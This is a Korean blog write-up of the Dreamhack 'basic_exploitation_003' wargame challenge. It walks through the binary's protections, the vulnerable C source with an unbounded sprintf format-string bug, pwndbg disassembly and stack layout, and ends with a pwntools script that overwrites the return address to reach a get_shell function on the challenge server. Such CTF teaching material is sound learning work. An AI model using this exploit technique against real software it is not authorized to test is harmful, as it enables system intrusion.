system hacking

드림핵 basic_exploitation_003 문제풀이

24kg0ld 2024. 7. 16. 22:58

1. 문제 파일 다운, 환경 파악

문제 파일을 다운받고 $ chmod +x basic_exploitation_003로 실행 권한을 부여했다.
environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

문제에 주어진 환경을 보면 NX만 적용되어 있는 32비트 시스템임을 알 수 있다.

2. 코드, 취약점 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh"); //쉘 실행
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80); //0x80만큼 malloc
    char stack_buf[0x90] = {}; //0x90만큼 stack_buf 선언
    initialize(); 
    read(0, heap_buf, 0x80); //heap_buf에 입력 받음
    sprintf(stack_buf, heap_buf); //stack_buf에 hep_buf가 출력한 값 저장
    printf("ECHO : %s\n", stack_buf); //stack_buf 출력
    return 0;
}

sprintf는 heap_buf에서 포맷된 문자열을 stack_buf에 저장하는데, 이 때 stack_buf에 저장되는 문자열의 길이 제한의 없으므로 버퍼오버플로우가 발생할 수 있다.
또, sprintf에서 형식 지정자를 따로 정하지 않았기 떄문에 포맷 스트링 버그를 활용할 수 있다.
PIE가 적용되어 있지 않기 때문에 get_shell의 주소는 고정되어 있을 것이다.
그렇다면 포맷 스트링 버그를 활용해서 buf와 sfp를 채우고 return adress에 get_shell의 주소를 넣어주면 될 것 같다.

3. get_shell 주소 찾기

pwndbg> info func get_shell
All functions matching regular expression "get_shell":

Non-debugging symbols:
0x08048669  get_shell

위와 같이 get_shell의 주소가 0x08048669임을 알았다.

4. 스택 프레임 분석

pwndbg> disass main
Dump of assembler code for function main:
   0x0804867c <+0>:     push   ebp
   0x0804867d <+1>:     mov    ebp,esp
   0x0804867f <+3>:     push   edi
   0x08048680 <+4>:     sub    esp,0x94
   0x08048686 <+10>:    push   0x80
   0x0804868b <+15>:    call   0x8048490 <malloc@plt>
   0x08048690 <+20>:    add    esp,0x4
   0x08048693 <+23>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:    lea    edx,[ebp-0x98]
   0x0804869c <+32>:    mov    eax,0x0
   0x080486a1 <+37>:    mov    ecx,0x24
   0x080486a6 <+42>:    mov    edi,edx
   0x080486a8 <+44>:    rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:    call   0x8048622 <initialize>
   0x080486af <+51>:    push   0x80
   0x080486b4 <+56>:    push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:    push   0x0
   0x080486b9 <+61>:    call   0x8048450 <read@plt>
   0x080486be <+66>:    add    esp,0xc
   0x080486c1 <+69>:    push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:    lea    eax,[ebp-0x98]
   0x080486ca <+78>:    push   eax
   0x080486cb <+79>:    call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:    add    esp,0x8
   0x080486d3 <+87>:    lea    eax,[ebp-0x98]
   0x080486d9 <+93>:    push   eax
   0x080486da <+94>:    push   0x8048791
   0x080486df <+99>:    call   0x8048460 <printf@plt>
   0x080486e4 <+104>:   add    esp,0x8

stack_buf가 인자로 사용되는 printf(main+99) 함수의 인자 전달 과정을 살펴보면,
ebp-0x98(stack_buf)을 인자로 전달하고 있음을 알 수 있다.
스택 프레임
stack_buf(ebp-0x98~0x8) | ... | sfp(4바이트) | return adress(4바이트)
스택 프레임은 위와 같은 형태일 것이다.

5. 코드 작성

from pwn import *

p = remote('host3.dreamhack.games', 20655)
e = ELF('./basic_exploitation_003')

context.arch = 'i386'

get_shell = 0x08048669 #get_shell 주소

payload = b'%156c' #buf와 sfp의 크기인 156(0x98 + 0x4)만큼의 바이트를 출력하여 채워줌
payload += p32(get_shell) #return adress에 get_shell 주소 넣어줌

p.sendline(payload)

p.interactive()

위의 코드로 쉘을 획득헀다.